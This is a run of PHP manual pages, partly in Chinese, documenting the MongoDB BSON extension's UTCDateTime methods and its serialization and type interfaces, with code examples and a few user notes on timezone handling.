Returns the DateTime representation of this UTCDateTime

  • ? MongoDB\BSON\UTCDateTime::serialize
  • MongoDB\BSON\UTCDateTime::__toString ?
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Returns the DateTime representation of this UTCDateTime

MongoDB\BSON\UTCDateTime::toDateTime

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::toDateTime — Returns the DateTime representation of this UTCDateTime

说明

final public MongoDB\BSON\UTCDateTime::toDateTime(): DateTime

参数

此函数没有参数。

返回值

Returns the DateTime representation of this UTCDateTime. The returned DateTime will use the UTC time zone.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\UTCDatetime::toDateTime() example

<?php

$utcdatetime = new MongoDB\BSON\UTCDateTime(1416445411987);
$datetime = $utcdatetime->toDateTime();
var_dump($datetime->format('r'));
var_dump($datetime->format('U.u'));
var_dump($datetime->getTimezone());

?>

以上示例的输出类似于：

string(31) "Thu, 20 Nov 2014 01:03:31 +0000"
string(17) "1416445411.987000"
object(DateTimeZone)#3 (2) {
  ["timezone_type"]=>
  int(1)
  ["timezone"]=>
  string(6) "+00:00"
}

参见

  • » BSON Types: Date

User Contributed Notes

zeeshanyshaikh at gmail dot com 09-Aug-2016 02:58
$tz = new DateTimeZone('Asia/Kolkata'); //Change your timezone
$date = date("Y-m-d h:i:sa"); //Current Date
$a = new MongoDB\BSON\UTCDateTime(strtotime($date)*1000);

      $datetime = $a->toDateTime();
      echo '<pre>';print_r($datetime);echo '</pre>';

      $datetime->setTimezone($tz); //Set timezone
      $time=$datetime->format(DATE_ATOM);  //(example: 2005-08-15T15:52:01+00:00)

    echo "<br>". $time . "<br>";

OUTPUT :
 //Output of datetime object
 DateTime Object
 (
    [date] => 2016-08-09 14:57:06.000000
    [timezone_type] => 1
    [timezone] => +00:00
 )
//Output of time
 2016-08-09T20:27:06+05:30
emm dot deoudes at gmail dot com 27-Jun-2016 10:09
//convert retrieved time back to local time
<?php
/********************constructor**********************************/
$orig_date = new DateTime('2016-06-27 13:03:33');
$orig_date=$orig_date->getTimestamp();
$utcdatetime = new MongoDB\BSON\UTCDateTime($orig_date*1000);
/********************retrieve time in UTC**********************************/
$datetime = $utcdatetime->toDateTime();
$time=$datetime->format(DATE_RSS);
/********************Convert time local timezone*******************/
$dateInUTC=$time;
$time = strtotime($dateInUTC.' UTC');
$dateInLocal = date("Y-m-d H:i:s", $time);
echo $dateInLocal;
?>
output: 2016-06-27 13:03:33
pablo5_diaz at hotmail dot com 10-May-2016 05:49
The php Datetime object returns the timestamp with 10 digits and this method needs miliseconds in the timestamp.

Make sure that the timestamp has 13 digits.


Returns the string representation of this UTCDateTime

  • ? MongoDB\BSON\UTCDateTime::toDateTime
  • MongoDB\BSON\UTCDateTime::unserialize ?
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Returns the string representation of this UTCDateTime

MongoDB\BSON\UTCDateTime::__toString

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::__toString — Returns the string representation of this UTCDateTime

说明

final public MongoDB\BSON\UTCDateTime::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this UTCDateTime.

示例

Example #1 MongoDB\BSON\UTCDateTime::__toString() example

<?php

$utcdatetime = new MongoDB\BSON\UTCDateTime(1416445411987);
var_dump((string) $utcdatetime);

?>

以上示例会输出：

string(13) "1416445411987"

参见

  • » BSON Types: Date

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a UTCDateTime

  • ? MongoDB\BSON\UTCDateTime::__toString
  • MongoDB\BSON\Type ?
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Unserialize a UTCDateTime

MongoDB\BSON\UTCDateTime::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::unserialize — Unserialize a UTCDateTime

说明

final public MongoDB\BSON\UTCDateTime::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\UTCDateTime.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\UTCDateTime::serialize() - Serialize a UTCDateTime
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Type interface

(mongodb >=1.0.0)

简介

Abstract base interface that should not be implemented directly.

接口摘要

class MongoDB\BSON\Type {
}

This interface has no methods. Its only purpose is to be the base interface for all BSON type classes.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Persistable interface

(mongodb >=1.0.0)

简介

Classes may implement this interface to take advantage of automatic ODM (object document mapping) behavior in the driver. During serialization, the driver will inject a __pclass property containing the PHP class name into the data returned by MongoDB\BSON\Serializable::bsonSerialize(). During unserialization, the same __pclass property will then be used to infer the PHP class (independent of any type map configuration) to be constructed before MongoDB\BSON\Unserializable::bsonUnserialize() is invoked. See Persisting Data for additional information.

Note: Even if MongoDB\BSON\Serializable::bsonSerialize() would return a sequential array, injection of the __pclass property will cause the object to be serialized as a BSON document.

接口摘要

class MongoDB\BSON\Persistable implements MongoDB\BSON\Unserializable, MongoDB\BSON\Serializable {
/* 方法 */
abstract public bsonSerialize(): array|stdClass|MongoDB\BSON\Document
/* 继承的方法 */
abstract public MongoDB\BSON\Serializable::bsonSerialize(): array|stdClass|MongoDB\BSON\Document|MongoDB\BSON\PackedArray
abstract public MongoDB\BSON\Unserializable::bsonUnserialize(array $data): void
}

Table of Contents

  • MongoDB\BSON\Persistable::bsonSerialize — Provides an array or document to serialize as BSON

User Contributed Notes

There are no user contributed notes for this page.


Provides an array or document to serialize as BSON

  • ? MongoDB\BSON\Persistable
  • MongoDB\BSON\Serializable ?
  • PHP Manual
  • MongoDB\BSON\Persistable
  • Provides an array or document to serialize as BSON

MongoDB\BSON\Persistable::bsonSerialize

(mongodb >=1.0.0)

MongoDB\BSON\Persistable::bsonSerialize — Provides an array or document to serialize as BSON

说明

abstract public MongoDB\BSON\Persistable::bsonSerialize(): array|stdClass|MongoDB\BSON\Document

Called during serialization of the object to BSON. The method must return an array, stdClass, or MongoDB\BSON\Document.

The return value will always be serialized as a BSON document. The serialized document will include a field containing the class name of the object. For this reason, it is not possible to return a MongoDB\BSON\PackedArray instance in this method.

Users are encouraged to include an _id property (e.g. a MongoDB\BSON\ObjectId initialized in your constructor) when returning data for a BSON root document; otherwise, the driver or database will need to generate a MongoDB\BSON\ObjectId when inserting or upserting the document, respectively.

参数

此函数没有参数。

返回值

An array, stdClass, or MongoDB\BSON\Document to be serialized as a BSON document.

更新日志

版本 | 说明
PECL mongodb 1.17.0 | This method may now also return MongoDB\BSON\Document instances in addition to array and stdClass.

参见

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • MongoDB\BSON\Unserializable::bsonUnserialize() - Constructs the object from a BSON array or document
  • MongoDB\BSON\Persistable
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Serializable interface

(mongodb >=1.0.0)

简介

Classes that implement this interface may return data to be serialized as a BSON array or document in lieu of the object's public properties.

接口摘要

class MongoDB\BSON\Serializable implements MongoDB\BSON\Type {
/* 方法 */
abstract public bsonSerialize(): array|stdClass|MongoDB\BSON\Document|MongoDB\BSON\PackedArray
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\Serializable::bsonSerialize — Provides an array or document to serialize as BSON

User Contributed Notes

There are no user contributed notes for this page.


Provides an array or document to serialize as BSON

  • ? MongoDB\BSON\Serializable
  • MongoDB\BSON\Unserializable ?
  • PHP Manual
  • MongoDB\BSON\Serializable
  • Provides an array or document to serialize as BSON

MongoDB\BSON\Serializable::bsonSerialize

(mongodb >=1.0.0)

MongoDB\BSON\Serializable::bsonSerialize — Provides an array or document to serialize as BSON

说明

abstract public MongoDB\BSON\Serializable::bsonSerialize(): array|stdClass|MongoDB\BSON\Document|MongoDB\BSON\PackedArray

Called during serialization of the object to BSON. The method must return an array, stdClass, MongoDB\BSON\Document, or MongoDB\BSON\PackedArray.

Root documents (e.g. a MongoDB\BSON\Serializable passed to MongoDB\BSON\fromPHP()) will always be serialized as a BSON document. For field values, associative arrays and stdClass instances will be serialized as a BSON document and sequential arrays (i.e. sequential, numeric indexes starting at 0) will be serialized as a BSON array.

Users are encouraged to include an _id property (e.g. a MongoDB\BSON\ObjectId initialized in your constructor) when returning data for a BSON root document; otherwise, the driver or database will need to generate a MongoDB\BSON\ObjectId when inserting or upserting the document, respectively.

参数

此函数没有参数。

返回值

An array, stdClass, MongoDB\BSON\Document, or MongoDB\BSON\PackedArray to be serialized as a BSON array or document.

更新日志

版本 说明
PECL mongodb 1.17.0

The return type was changed from array|object. Instead of object, the return type now specifies stdClass. Classes that implement this interface must be changed to no longer declare an object return type. As the return type is tentative, a deprecation warning is emitted on PHP 8.1 and newer.

In addition to the changes above, the driver now also supports returning instances of MongoDB\BSON\Document and MongoDB\BSON\PackedArray. Please note that any MongoDB\BSON\PackedArray instances returned are silently converted to objects when stored as root documents. They are stored as arrays when used as an embedded field value.

示例

Example #1 MongoDB\BSON\Serializable::bsonSerialize() returning an associative array for root document

<?php

class MyDocument implements MongoDB\BSON\Serializable
{
private $id;

function __construct()
{
$this->id = new MongoDB\BSON\ObjectId;
}

function bsonSerialize(): array
{
return ['_id' => $this->id, 'foo' => 'bar'];
}
}

$bson = MongoDB\BSON\fromPHP(new MyDocument);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

以上示例的输出类似于：

{ "_id" : { "$oid" : "56cccdcada14d8755a58c591" }, "foo" : "bar" }

Example #2 MongoDB\BSON\Serializable::bsonSerialize() returning a sequential array for root document

<?php

class MyArray implements MongoDB\BSON\Serializable
{
function bsonSerialize(): array
{
return [1, 2, 3];
}
}

$bson = MongoDB\BSON\fromPHP(new MyArray);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

以上示例会输出：

{ "0" : 1, "1" : 2, "2" : 3 }

Example #3 MongoDB\BSON\Serializable::bsonSerialize() returning an associative array for document field

<?php

class MyDocument implements MongoDB\BSON\Serializable
{
function bsonSerialize(): array
{
return ['foo' => 'bar'];
}
}

$value = ['document' => new MyDocument];
$bson = MongoDB\BSON\fromPHP($value);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

以上示例会输出：

{ "document" : { "foo" : "bar" } }

Example #4 MongoDB\BSON\Serializable::bsonSerialize() returning a sequential array for document field

<?php

class MyArray implements MongoDB\BSON\Serializable
{
function bsonSerialize(): array
{
return [1, 2, 3];
}
}

$value = ['array' => new MyArray];
$bson = MongoDB\BSON\fromPHP($value);
echo MongoDB\BSON\toJSON($bson), "\n";

?>

以上示例会输出：

{ "array" : [ 1, 2, 3 ] }

参见

  • MongoDB\BSON\Unserializable::bsonUnserialize() - Constructs the object from a BSON array or document
  • MongoDB\BSON\Persistable
  • Persisting Data

User Contributed Notes

Anonymous 11-Mar-2016 07:11
This documentation seems to be obsolete because I tried the first example and it doesn't convert the objectId to a string.

This seems to be more current documentation but I can't figure out how to get bson to json

http://mongodb.github.io/mongo-php-library/api/source-class-MongoDB.Model.BSONDocument.html#48-57


The MongoDB\BSON\Unserializable interface

(mongodb >=1.0.0)

简介

Classes that implement this interface may be specified in a type map for unserializing BSON arrays and documents (both root and embedded).

接口摘要

class MongoDB\BSON\Unserializable {
/* 方法 */
abstract public bsonUnserialize(array $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\Unserializable::bsonUnserialize — Constructs the object from a BSON array or document

User Contributed Notes

There are no user contributed notes for this page.


Constructs the object from a BSON array or document

  • ? MongoDB\BSON\Unserializable
  • MongoDB\BSON\BinaryInterface ?
  • PHP Manual
  • MongoDB\BSON\Unserializable
  • Constructs the object from a BSON array or document

MongoDB\BSON\Unserializable::bsonUnserialize

(mongodb >=1.0.0)

MongoDB\BSON\Unserializable::bsonUnserialize — Constructs the object from a BSON array or document

说明

abstract public MongoDB\BSON\Unserializable::bsonUnserialize(array $data): void

Called during unserialization of the object from BSON. The properties of the BSON array or document will be passed to the method as an array.

Remember to check for an _id property when handling data from a BSON document.

Note: This method acts as the constructor of the object. The __construct() method will not be called after this method.

参数

data (array)

Properties within the BSON array or document.

返回值

The return value from this method is ignored.

示例

Example #1 MongoDB\BSON\Unserializable::bsonUnserialize() example

<?php

class MyDocument implements MongoDB\BSON\Unserializable
{
private $data = [];

function bsonUnserialize(array $data): void
{
$this->data = $data;
}
}

$bson = MongoDB\BSON\fromJSON('{ "foo": "bar" }');
$value = MongoDB\BSON\toPHP($bson, ['root' => 'MyDocument']);
var_dump($value);

?>

以上示例会输出：

object(MyDocument)#1 (1) {
  ["data":"MyDocument":private]=>
  array(1) {
    ["foo"]=>
    string(3) "bar"
  }
}

参见

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • MongoDB\BSON\Persistable
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\BinaryInterface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\Binary to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\BinaryInterface {
/* 方法 */
abstract public getData(): string
abstract public getType(): int
abstract public __toString(): string
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\BinaryInterface::getData — Returns the BinaryInterface's data
  • MongoDB\BSON\BinaryInterface::getType — Returns the BinaryInterface's type
  • MongoDB\BSON\BinaryInterface::__toString — Returns the BinaryInterface's data

User Contributed Notes

There are no user contributed notes for this page.


Returns the BinaryInterface's data

  • ? MongoDB\BSON\BinaryInterface
  • MongoDB\BSON\BinaryInterface::getType ?
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Returns the BinaryInterface's data

MongoDB\BSON\BinaryInterface::getData

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::getData — Returns the BinaryInterface's data

说明

abstract public MongoDB\BSON\BinaryInterface::getData(): string

参数

此函数没有参数。

返回值

Returns the BinaryInterface's data.

参见

  • MongoDB\BSON\Binary::getData() - Returns the Binary's data

User Contributed Notes

There are no user contributed notes for this page.


Returns the BinaryInterface's type

  • ? MongoDB\BSON\BinaryInterface::getData
  • MongoDB\BSON\BinaryInterface::__toString ?
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Returns the BinaryInterface's type

MongoDB\BSON\BinaryInterface::getType

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::getType — Returns the BinaryInterface's type

说明

abstract public MongoDB\BSON\BinaryInterface::getType(): int

参数

此函数没有参数。

返回值

Returns the BinaryInterface's type.

参见

  • MongoDB\BSON\Binary::getType() - Returns the Binary's type

User Contributed Notes

There are no user contributed notes for this page.


Returns the BinaryInterface's data

  • ? MongoDB\BSON\BinaryInterface::getType
  • MongoDB\BSON\Decimal128Interface ?
  • PHP Manual
  • MongoDB\BSON\BinaryInterface
  • Returns the BinaryInterface's data

MongoDB\BSON\BinaryInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\BinaryInterface::__toString — Returns the BinaryInterface's data

说明

abstract public MongoDB\BSON\BinaryInterface::__toString(): string

此方法是该方法的别名： MongoDB\BSON\BinaryInterface::getData().

参数

此函数没有参数。

返回值

Returns the BinaryInterface's data.

参见

  • MongoDB\BSON\BinaryInterface::getData() - Returns the BinaryInterface's data
  • MongoDB\BSON\Binary::__toString() - Returns the Binary's data

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Decimal128Interface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\Decimal128 to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\Decimal128Interface {
/* 方法 */
abstract public __toString(): string
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\Decimal128Interface::__toString — Returns the string representation of this Decimal128Interface

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Decimal128Interface

  • ? MongoDB\BSON\Decimal128Interface
  • MongoDB\BSON\JavascriptInterface ?
  • PHP Manual
  • MongoDB\BSON\Decimal128Interface
  • Returns the string representation of this Decimal128Interface

MongoDB\BSON\Decimal128Interface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\Decimal128Interface::__toString — Returns the string representation of this Decimal128Interface

说明

abstract public MongoDB\BSON\Decimal128Interface::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this Decimal128Interface.

参见

  • MongoDB\BSON\Decimal128::__toString() - Returns the string representation of this Decimal128

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\JavascriptInterface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\Javascript to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\JavascriptInterface {
/* 方法 */
abstract public getCode(): string
abstract public getScope(): ?object
abstract public __toString(): string
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\JavascriptInterface::getCode — Returns the JavascriptInterface's code
  • MongoDB\BSON\JavascriptInterface::getScope — Returns the JavascriptInterface's scope document
  • MongoDB\BSON\JavascriptInterface::__toString — Returns the JavascriptInterface's code

User Contributed Notes

There are no user contributed notes for this page.


Returns the JavascriptInterface's code

  • ? MongoDB\BSON\JavascriptInterface
  • MongoDB\BSON\JavascriptInterface::getScope ?
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Returns the JavascriptInterface's code

MongoDB\BSON\JavascriptInterface::getCode

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::getCode — Returns the JavascriptInterface's code

说明

abstract public MongoDB\BSON\JavascriptInterface::getCode(): string

参数

此函数没有参数。

返回值

Returns the JavascriptInterface's code.

参见

  • MongoDB\BSON\Javascript::getCode() - Returns the Javascript's code

User Contributed Notes

There are no user contributed notes for this page.


Returns the JavascriptInterface's scope document

  • ? MongoDB\BSON\JavascriptInterface::getCode
  • MongoDB\BSON\JavascriptInterface::__toString ?
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Returns the JavascriptInterface's scope document

MongoDB\BSON\JavascriptInterface::getScope

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::getScope — Returns the JavascriptInterface's scope document

说明

abstract public MongoDB\BSON\JavascriptInterface::getScope(): ?object

参数

此函数没有参数。

返回值

Returns the JavascriptInterface's scope document.

参见

  • MongoDB\BSON\Javascript::getScope() - Returns the Javascript's scope document

User Contributed Notes

There are no user contributed notes for this page.


Returns the JavascriptInterface's code

  • ? MongoDB\BSON\JavascriptInterface::getScope
  • MongoDB\BSON\MaxKeyInterface ?
  • PHP Manual
  • MongoDB\BSON\JavascriptInterface
  • Returns the JavascriptInterface's code

MongoDB\BSON\JavascriptInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\JavascriptInterface::__toString — Returns the JavascriptInterface's code

说明

abstract public MongoDB\BSON\JavascriptInterface::__toString(): string

此方法是该方法的别名： MongoDB\BSON\JavascriptInterface::getCode().

参数

此函数没有参数。

返回值

Returns the JavascriptInterface's code.

参见

  • MongoDB\BSON\JavascriptInterface::getCode() - Returns the JavascriptInterface's code
  • MongoDB\BSON\Javascript::__toString() - Returns the Javascript's code

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\MaxKeyInterface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\MaxKey to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\MaxKeyInterface {
}

This interface has no methods.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\MinKeyInterface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\MinKey to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\MinKeyInterface {
}

This interface has no methods.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\ObjectIdInterface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\ObjectId to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\ObjectIdInterface {
/* 方法 */
abstract public getTimestamp(): int
abstract public __toString(): string
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\ObjectIdInterface::getTimestamp — Returns the timestamp component of this ObjectIdInterface
  • MongoDB\BSON\ObjectIdInterface::__toString — Returns the hexidecimal representation of this ObjectIdInterface

User Contributed Notes

There are no user contributed notes for this page.


Returns the timestamp component of this ObjectIdInterface

  • ? MongoDB\BSON\ObjectIdInterface
  • MongoDB\BSON\ObjectIdInterface::__toString ?
  • PHP Manual
  • MongoDB\BSON\ObjectIdInterface
  • Returns the timestamp component of this ObjectIdInterface

MongoDB\BSON\ObjectIdInterface::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\ObjectIdInterface::getTimestamp — Returns the timestamp component of this ObjectIdInterface

说明

abstract public MongoDB\BSON\ObjectIdInterface::getTimestamp(): int

参数

此函数没有参数。

返回值

Returns the timestamp component of this ObjectIdInterface.

参见

  • MongoDB\BSON\ObjectId::getTimestamp() - Returns the timestamp component of this ObjectId

User Contributed Notes

There are no user contributed notes for this page.


Returns the hexidecimal representation of this ObjectIdInterface

  • ? MongoDB\BSON\ObjectIdInterface::getTimestamp
  • MongoDB\BSON\RegexInterface ?
  • PHP Manual
  • MongoDB\BSON\ObjectIdInterface
  • Returns the hexidecimal representation of this ObjectIdInterface

MongoDB\BSON\ObjectIdInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\ObjectIdInterface::__toString — Returns the hexidecimal representation of this ObjectIdInterface

说明

abstract public MongoDB\BSON\ObjectIdInterface::__toString(): string

参数

此函数没有参数。

返回值

Returns the hexidecimal representation of this ObjectIdInterface.

参见

  • MongoDB\BSON\ObjectId::__toString() - Returns the hexidecimal representation of this ObjectId

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\RegexInterface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\Regex to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\RegexInterface {
/* 方法 */
abstract public getFlags(): string
abstract public getPattern(): string
abstract public __toString(): string
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\RegexInterface::getFlags — Returns the RegexInterface's flags
  • MongoDB\BSON\RegexInterface::getPattern — Returns the RegexInterface's pattern
  • MongoDB\BSON\RegexInterface::__toString — Returns the string representation of this RegexInterface

User Contributed Notes

There are no user contributed notes for this page.


Returns the RegexInterface's flags

  • ? MongoDB\BSON\RegexInterface
  • MongoDB\BSON\RegexInterface::getPattern ?
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Returns the RegexInterface's flags

MongoDB\BSON\RegexInterface::getFlags

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::getFlags — Returns the RegexInterface's flags

说明

abstract public MongoDB\BSON\RegexInterface::getFlags(): string

参数

此函数没有参数。

返回值

Returns the RegexInterface's flags.

参见

  • MongoDB\BSON\Regex::getFlags() - Returns the Regex's flags

User Contributed Notes

There are no user contributed notes for this page.


Returns the RegexInterface's pattern

  • ? MongoDB\BSON\RegexInterface::getFlags
  • MongoDB\BSON\RegexInterface::__toString ?
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Returns the RegexInterface's pattern

MongoDB\BSON\RegexInterface::getPattern

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::getPattern — Returns the RegexInterface's pattern

说明

abstract public MongoDB\BSON\RegexInterface::getPattern(): string

参数

此函数没有参数。

返回值

Returns the RegexInterface's pattern.

参见

  • MongoDB\BSON\Regex::getPattern() - Returns the Regex's pattern

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this RegexInterface

  • ? MongoDB\BSON\RegexInterface::getPattern
  • MongoDB\BSON\TimestampInterface ?
  • PHP Manual
  • MongoDB\BSON\RegexInterface
  • Returns the string representation of this RegexInterface

MongoDB\BSON\RegexInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\RegexInterface::__toString — Returns the string representation of this RegexInterface

说明

abstract public MongoDB\BSON\RegexInterface::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this RegexInterface.

参见

  • MongoDB\BSON\Regex::__toString() - Returns the string representation of this Regex

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\TimestampInterface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\Timestamp to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\TimestampInterface {
/* 方法 */
abstract public getIncrement(): int
abstract public getTimestamp(): int
abstract public __toString(): string
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\TimestampInterface::getIncrement — Returns the increment component of this TimestampInterface
  • MongoDB\BSON\TimestampInterface::getTimestamp — Returns the timestamp component of this TimestampInterface
  • MongoDB\BSON\TimestampInterface::__toString — Returns the string representation of this TimestampInterface

User Contributed Notes

There are no user contributed notes for this page.


Returns the increment component of this TimestampInterface

  • ? MongoDB\BSON\TimestampInterface
  • MongoDB\BSON\TimestampInterface::getTimestamp ?
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Returns the increment component of this TimestampInterface

MongoDB\BSON\TimestampInterface::getIncrement

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::getIncrement — Returns the increment component of this TimestampInterface

说明

abstract public MongoDB\BSON\TimestampInterface::getIncrement(): int

参数

此函数没有参数。

返回值

Returns the increment component of this TimestampInterface.

Warning

On 32-bit systems this method may return a negative number. Although the increment and timestamp parts of the BSON timestamp type consists of two unsigned 32-bit values, PHP can not represent these on 32-bit platforms.

参见

  • MongoDB\BSON\Timestamp::getIncrement() - Returns the increment component of this Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Returns the timestamp component of this TimestampInterface

  • ? MongoDB\BSON\TimestampInterface::getIncrement
  • MongoDB\BSON\TimestampInterface::__toString ?
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Returns the timestamp component of this TimestampInterface

MongoDB\BSON\TimestampInterface::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::getTimestamp — Returns the timestamp component of this TimestampInterface

说明

abstract public MongoDB\BSON\TimestampInterface::getTimestamp(): int

参数

此函数没有参数。

返回值

Returns the timestamp component of this TimestampInterface.

Warning

On 32-bit systems this method may return a negative number. Although the increment and timestamp parts of the BSON timestamp type consists of two unsigned 32-bit values, PHP can not represent these on 32-bit platforms.

参见

  • MongoDB\BSON\Timestamp::getTimestamp() - Returns the timestamp component of this Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this TimestampInterface

  • ? MongoDB\BSON\TimestampInterface::getTimestamp
  • MongoDB\BSON\UTCDateTimeInterface ?
  • PHP Manual
  • MongoDB\BSON\TimestampInterface
  • Returns the string representation of this TimestampInterface

MongoDB\BSON\TimestampInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\TimestampInterface::__toString — Returns the string representation of this TimestampInterface

说明

abstract public MongoDB\BSON\TimestampInterface::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this TimestampInterface.

参见

  • MongoDB\BSON\Timestamp::__toString() - Returns the string representation of this Timestamp

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\UTCDateTimeInterface interface

(mongodb >=1.3.0)

简介

This interface is implemented by MongoDB\BSON\UTCDateTime to be used as a parameter, return, or property type in userland classes.

类摘要

class MongoDB\BSON\UTCDateTimeInterface {
/* 方法 */
abstract public toDateTime(): DateTime
abstract public __toString(): string
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\BSON\UTCDateTimeInterface::toDateTime — Returns the DateTime representation of this UTCDateTimeInterface
